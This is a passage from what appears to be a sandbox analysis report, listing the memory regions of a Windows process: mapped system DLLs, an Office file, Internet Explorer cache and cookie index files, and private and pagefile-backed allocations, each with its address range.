	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 2079
	        start_va = 0x7fefabc0000
	          end_va = 0x7fefabc3fff
	     entry_point = 0x7fefabc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 2080
	        start_va = 0x7fefabd0000
	          end_va = 0x7fefabd2fff
	     entry_point = 0x7fefabd0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 2081
	        start_va = 0x7fefabe0000
	          end_va = 0x7fefabe2fff
	     entry_point = 0x7fefabe0000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 2082
	        start_va = 0x7fefabf0000
	          end_va = 0x7fefabf2fff
	     entry_point = 0x7fefabf0000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 2083
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac02fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 2084
	        start_va = 0x7fefac10000
	          end_va = 0x7fefac12fff
	     entry_point = 0x7fefac10000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 2085
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac22fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 2086
	        start_va = 0x7fefac30000
	          end_va = 0x7fefad21fff
	     entry_point = 0x7fefac30000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 2087
	        start_va = 0x7fefad30000
	          end_va = 0x7fefad33fff
	     entry_point = 0x7fefad30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 2088
	        start_va = 0x7fefad40000
	          end_va = 0x7fefad55fff
	     entry_point = 0x7fefad40000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 2089
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2090
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2091
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2092
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2093
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2094
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2095
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2096
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2097
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2098
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2099
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2100
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2101
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2102
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2103
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2104
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2105
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 2106
	        start_va = 0x70000
	          end_va = 0x76fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 2107
	        start_va = 0x80000
	          end_va = 0x81fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 2108
	        start_va = 0x1b40000
	          end_va = 0x1e0efff
	     entry_point = 0x1b40000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2109
	        start_va = 0x1e10000
	          end_va = 0x2202fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e10000"
	        filename = ""

Region:
	              id = 2110
	        start_va = 0x37c80000
	          end_va = 0x37c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000037c80000"
	        filename = ""

Region:
	              id = 2111
	        start_va = 0x7febdd50000
	          end_va = 0x7febdd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007febdd50000"
	        filename = ""

Region:
	              id = 2289
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 2290
	        start_va = 0x2210000
	          end_va = 0x2210fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002210000"
	        filename = ""

Region:
	              id = 2291
	        start_va = 0x7fefa750000
	          end_va = 0x7fefaa65fff
	     entry_point = 0x7fefa750000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2292
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2297
	        start_va = 0x2220000
	          end_va = 0x231ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002220000"
	        filename = ""

Region:
	              id = 2298
	        start_va = 0x2390000
	          end_va = 0x240ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002390000"
	        filename = ""

Region:
	              id = 2299
	        start_va = 0x2410000
	          end_va = 0x24eefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002410000"
	        filename = ""

Region:
	              id = 2300
	        start_va = 0x24f0000
	          end_va = 0x25effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024f0000"
	        filename = ""

Region:
	              id = 2301
	        start_va = 0x2630000
	          end_va = 0x272ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002630000"
	        filename = ""

Region:
	              id = 2302
	        start_va = 0x2760000
	          end_va = 0x285ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002760000"
	        filename = ""

Region:
	              id = 2303
	        start_va = 0x2970000
	          end_va = 0x2a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002970000"
	        filename = ""

Region:
	              id = 2304
	        start_va = 0x7fee6cb0000
	          end_va = 0x7fee6d4ffff
	     entry_point = 0x7fee6cb0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2305
	        start_va = 0x7fefa530000
	          end_va = 0x7fefa74cfff
	     entry_point = 0x7fefa530000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2306
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2307
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2308
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2309
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2310
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2311
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2312
	        start_va = 0x2320000
	          end_va = 0x2320fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002320000"
	        filename = ""

Region:
	              id = 2313
	        start_va = 0x2330000
	          end_va = 0x2330fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002330000"
	        filename = ""

Region:
	              id = 2314
	        start_va = 0x2860000
	          end_va = 0x295ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002860000"
	        filename = ""

Region:
	              id = 2315
	        start_va = 0x2960000
	          end_va = 0x296ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002960000"
	        filename = ""

Region:
	              id = 2316
	        start_va = 0x2b30000
	          end_va = 0x2c2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b30000"
	        filename = ""

Region:
	              id = 2317
	        start_va = 0x2db0000
	          end_va = 0x2eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002db0000"
	        filename = ""

Region:
	              id = 2318
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2319
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2320
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2321
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2322
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2323
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 2324
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2325
	        start_va = 0x2c70000
	          end_va = 0x2d6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c70000"
	        filename = ""

Region:
	              id = 2326
	        start_va = 0x2d90000
	          end_va = 0x2d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d90000"
	        filename = ""

Region:
	              id = 2327
	        start_va = 0x2fc0000
	          end_va = 0x30bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fc0000"
	        filename = ""

Region:
	              id = 2328
	        start_va = 0x77e10000
	          end_va = 0x77e12fff
	     entry_point = 0x77e10000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2329
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2330
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2331
	        start_va = 0x7fefee80000
	          end_va = 0x7feff0d8fff
	     entry_point = 0x7fefee80000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2332
	        start_va = 0x7feff6e0000
	          end_va = 0x7feff857fff
	     entry_point = 0x7feff6e0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2333
	        start_va = 0x7feff870000
	          end_va = 0x7feff999fff
	     entry_point = 0x7feff870000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2334
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2335
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2526
	        start_va = 0x2340000
	          end_va = 0x2340fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002340000"
	        filename = ""

Region:
	              id = 2527
	        start_va = 0x2350000
	          end_va = 0x2351fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002350000"
	        filename = ""

Region:
	              id = 2528
	        start_va = 0x2360000
	          end_va = 0x236bfff
	     entry_point = 0x2360000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2529
	        start_va = 0x2370000
	          end_va = 0x2371fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002370000"
	        filename = ""

Region:
	              id = 2530
	        start_va = 0x2380000
	          end_va = 0x2387fff
	     entry_point = 0x2380000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2531
	        start_va = 0x25f0000
	          end_va = 0x25fffff
	     entry_point = 0x25f0000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2532
	        start_va = 0x2a70000
	          end_va = 0x2b2ffff
	     entry_point = 0x2a70000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2533
	        start_va = 0x3100000
	          end_va = 0x31fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003100000"
	        filename = ""

Region:
	              id = 2534
	        start_va = 0x3280000
	          end_va = 0x337ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003280000"
	        filename = ""

Region:
	              id = 2535
	        start_va = 0x3380000
	          end_va = 0x36c2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003380000"
	        filename = ""

Region:
	              id = 2536
	        start_va = 0x3880000
	          end_va = 0x38fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003880000"
	        filename = ""

Region:
	              id = 2537
	        start_va = 0x3960000
	          end_va = 0x3a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003960000"
	        filename = ""

Region:
	              id = 2538
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2539
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2540
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2541
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2542
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2543
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2544
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2545
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2546
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2547
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2548
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2549
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2550
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2551
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2552
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2553
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2554
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2555
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2556
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2557
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2778
	        start_va = 0x2600000
	          end_va = 0x2600fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002600000"
	        filename = ""

Region:
	              id = 2779
	        start_va = 0x2610000
	          end_va = 0x2611fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002610000"
	        filename = ""

Region:
	              id = 2780
	        start_va = 0x2f40000
	          end_va = 0x2f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f40000"
	        filename = ""

Region:
	              id = 2781
	        start_va = 0x3770000
	          end_va = 0x386ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003770000"
	        filename = ""

Region:
	              id = 2782
	        start_va = 0x3b60000
	          end_va = 0x3c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b60000"
	        filename = ""

Region:
	              id = 2783
	        start_va = 0x3c60000
	          end_va = 0x3e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c60000"
	        filename = ""

Region:
	              id = 2784
	        start_va = 0x3f30000
	          end_va = 0x3faffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f30000"
	        filename = ""

Region:
	              id = 2785
	        start_va = 0x3ff0000
	          end_va = 0x40effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ff0000"
	        filename = ""

Region:
	              id = 2786
	        start_va = 0x4110000
	          end_va = 0x420ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004110000"
	        filename = ""

Region:
	              id = 2787
	        start_va = 0x43e0000
	          end_va = 0x44dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043e0000"
	        filename = ""

Region:
	              id = 2788
	        start_va = 0x44e0000
	          end_va = 0x48dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000044e0000"
	        filename = ""

Region:
